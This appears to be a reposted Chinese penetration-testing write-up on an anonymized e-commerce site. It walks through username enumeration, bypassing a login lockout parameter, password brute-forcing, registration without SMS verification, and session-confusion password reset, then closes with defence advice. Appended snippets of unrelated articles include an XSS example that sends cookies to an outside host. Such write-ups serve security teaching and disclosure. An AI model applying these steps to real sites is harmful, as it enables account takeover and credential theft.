挖洞思路 | 账号攻击的几种常见手法

web 安全事件中,账号,通常是呈现给攻击者的第一接触点,与账号相关的功能若存在缺陷,攻击者可以此获取关键信息和重要功能,如,登录失败的报错信息可判断出是否因账号不存在所致,可被利用枚举有效账号,比如,登录试错无次数限制,可导致暴破密码,又如,注册流程各步骤未严格关联,导致批量注册任意账号,再如,密码找回功能各步骤未严格关联,导致任意账号密码重置。

我在日常渗透时遇到个同时存在这几类问题的网站 https://www.xxxx.com/,该网站为某电商平台,合理结合几类问题,当时已拿到管理员权限,漏洞现已提交并确认修复,思路分享给大家。

开始之前,说个习惯,很多网站分了 PC 版本和手机版本,手机版常为功能裁减,相应安全防御也较弱,“柿子专挑软的捏”,所以,我会先尽可能找出该网站的手机版。具体而言,我习惯先用手机直接访问,服务端自动将跳转至手机版,提取手机版的访问地址;如果觉得手机上输入 URL 麻烦,你可以安装 firefox 的 useragent-switcher(https://mybrowseraddon.com/useragent-switcher.html)扩展,模拟手机终端进行访问;当然,其他手段也可考虑,你可以通过子域名枚举工具 Sublist3r(https://github.com/aboul3la/Sublist3r)找到类似 https://m.xxxx.com/ 的手机版本,也可以通过路径枚举工具 dirsearch(https://github.com/maurosoria/dirsearch)找到类似 https://www.xxxx.com/wap 的手机版本,还可以通过 google hacking (inurl:xxxx.com 移动端)找到类似 https://www.xxxx.com/mobile


账号可枚举

在登录页面 https://www.xxxx.com/Wap/User/login 输入账号、密码:

提交后拦截请求,若账号不存在则服务端应答为:

若账号存在则服务端应答为:

分析发现,虽然应答很类似,但还是有区别,有效账号比无效账号多了个“您”,或者,从应答体的长度也能判断出该账号是否有效。同时,服务端未限制高频访问,所以,可枚举有效账号。

将 mobile 参数值定为枚举变量、以常见国人姓名拼音 top500 和常见后台账号作为字典,在枚举结果中用,应答包长度为 561 的均为有效账号:

其中,既有 chenying、chenyun 这类普通账号,也有 admin、ceshi 这类后台账号,结果存为 username.txt:



密码可暴破

服务端有密码试错上限的机制,错误 5 次则一小时内禁止登录:

查看登录请求:

logintime 参数名和参数值引起我注意,刚好也是试错上限 5,尝试将值其改为 4 后,服务器又正常响应,或者,删除整改 logintime 后,也可绕过试错限制。

现在,用删除 logintime 后的请求包,将 mobile 定义为枚举变量 1、以前面生成的 username.txt 为字典,将 password 定义为枚举变量 2、以常见弱口令 top1000 为字典,进行密码暴破:

其中,应答包长度为 380 的均为有效密码,存为 logined.txt:


任意账号注册

在注册页面 https://www.xxxx.com/Wap/User/register 输入未注册过的手机号点击“获取验证码”后、输入收到的短信验证码后提交,进入密码设置页面:

输入密码后拦截请求:

简单分析发现,register_mobile 为注册的用户名,只要该参数值未注册过,通过这个请求包可绕过短信验证成功创建任意账号。

比如,系统本来只允许用手机号当用户名进行注册,利用该漏洞,可以创建账号 yangyangwithgnu/abcd1234,登录确认:



任意账号密码找回

密码找回页面 https://www.xxxx.com/Wap/User/forgetpass 用攻击者账号 13908080808 进入密码找回全流程,输入短信验证码后提交:

进入新密码页面,输入后提交,拦截请求如下:

其中,PHPSESSID=p6nujg7itekpau6p1e9ibbpe86、register_mobile=13908080808 这两个参数引起了我的注意。这个请求,用于重置账号 13908080808 密码,那么服务端如何知道该重置 13908080808 而不是 13908080807、13908080809 呢?刚才说的几个参数中肯定有一个用于该目的。逐一尝试发现,PHPSESSID 就是它,另外,boss_language 和 register_mobile 可删除,不影响结果。

这让我闻到浓郁的 cookie 混淆的味道。大致攻击思路:首先,用攻击者账号 13908080808 进入密码找回流程,查收重置验证码、通过校验;然后,输入新密码后提交,拦截中断该请求,暂不发至服务端,这时,PHPSESSID 关联的是 13908080808 账号;接着,关闭浏览器的 burp 代理,新开重置流程的首页,在页面中输入普通账号 13908090133 后获取短信验证码,这时,PHPSESSID 已关联成 13908090133 了;最后,放行之前中断的请求,放至服务端,逻辑上,可以成功重置 13908090133 的密码。

用上述思路尝试将 13908090133 密码重置为 PenTest1024,前端显示重置成功。尝试用 13908090133/PenTest1024 登录,成功进入系统:

同理可重置管理员账号,为避免影响业务,不再实际操作。


防御措施

通常来说,密码找回逻辑中含有用户标识(用户名、用户 ID、cookie)、接收端(手机、邮箱)、凭证(验证码、token)、当前步骤等四个要素,这四个要素必须完整关联,否则可能导致任意账号密码找回漏洞。另外,服务端应限制枚举等恶意请求。

本文原创作者:yangyangwithgnu  转自 www.freebuf.com

原文地址:https://www.cnblogs.com/lic1005/p/8690599.html

时间: 2024-08-02 13:06:16

挖洞思路 | 账号攻击的几种常见手法的相关文章

【转载i春秋】补天挖洞经验贴

转载自: 补天付费厂商漏洞挖掘小技巧 补天不收的漏洞 补天付费厂商漏洞挖掘小技巧 1.子域名收集 不要想着去撸主站,主站一出来几乎被人轮了个遍,跟大牛抢肉吃,难,放弃. 所以我们一般都是百度找子域名  例如www.xxxxx.com是主站,关键字 inurl:xxxxx.com.如果这样能找到不少子域名. 1.1 补天不收的漏洞 1.反射XSS 2.CSRF 3.目录遍历 4.二进制(据补天审核说,他们没人看的懂,没法审,所以不收) 5.密码处的验证码爆破 6.http.sys远程代码执行漏洞

总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS web安全系列目录 总结几种常见web攻击手段极其防御方式 总结几种常见的安全算法 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="

unity, 挖洞特效

想模仿这个游戏的挖洞特效: 思路: 效果: 代码下载:http://pan.baidu.com/s/1kUN8goZ

总结几种常见web攻击手段极其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 总结几种常见web攻击手段极其防御方式 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="+document.cookie)</scrip

挖洞与冒泡

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="author" content="z"> <title></title> <style> div{ width: 100px; height: 100px; background-co

不可不知!4种常见的黑客攻击手段

在计算机安全方面,黑客是专注于计算机和网络系统安全机制的人.今天给大家揭秘4种常见的计算机攻击手段,让大家更好了解计算机安全知识. 特洛伊木马 一个特洛伊木马是,这似乎是做一件事情,但实际上做一套程序.它可用于在计算机系统中设置后门,使入侵者能够在以后获得访问权限.这个名字指的是来自特洛伊战争的马,其概念上类似于欺骗防御者将入侵者带入保护区的功能. ?电脑病毒 一个病毒是一种自我复制的程序,它通过将自身复制到其他可执行代码或文件进行传播.通过这样做,其表现类似于生物病毒,其通过将其自身插入活细胞

Python爬虫突破封禁的6种常见方法

转 Python爬虫突破封禁的6种常见方法 2016年08月17日 22:36:59 阅读数:37936 在互联网上进行自动数据采集(抓取)这件事和互联网存在的时间差不多一样长.今天大众好像更倾向于用"网络数据采集",有时会把网络数据采集程序称为网络机器人(bots).最常用的方法是写一个自动化程序向网络服务器请求数据(通常是用HTML表单或其他网页文件),然后对数据进行解析,提取需要的信息. 本文假定读者已经了解如何用代码来抓取一个远程的URL,并具备表单如何提交及JavaScrip

java之 ------ 几种常见的简单设计模式

前言: 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.用于解决特定环境下.重复出现的特定问题的解决方案.使用设计模式是为了可重用代码.让代码更容易被他人理解.保证代码可靠性. 毫无疑问,设计模式于己于他人于系统都是多赢的,设计模式使代码编制真正工程化,设计模式是软件工程的基石,如同大厦的一块块砖石一样.项目中合理的运用设计模式可以完美的解决很多问题,每种模式在现在中都有相应的原理来与之对应,每一个模式描述了一个在我们周围不断重复发生的

C# 实现AOP 的几种常见方式

AOP为Aspect Oriented Programming的缩写,意为:面向切面编程,通过预编译方式和运行期动态代理实现程序功能的中统一处理业务逻辑的一种技术,比较常见的场景是:日志记录,错误捕获.性能监控等 AOP的本质是通过代理对象来间接执行真实对象,在代理类中往往会添加装饰一些额外的业务代码,比如如下代码: class RealA { public virtual string Pro { get; set; } public virtual void ShowHello(string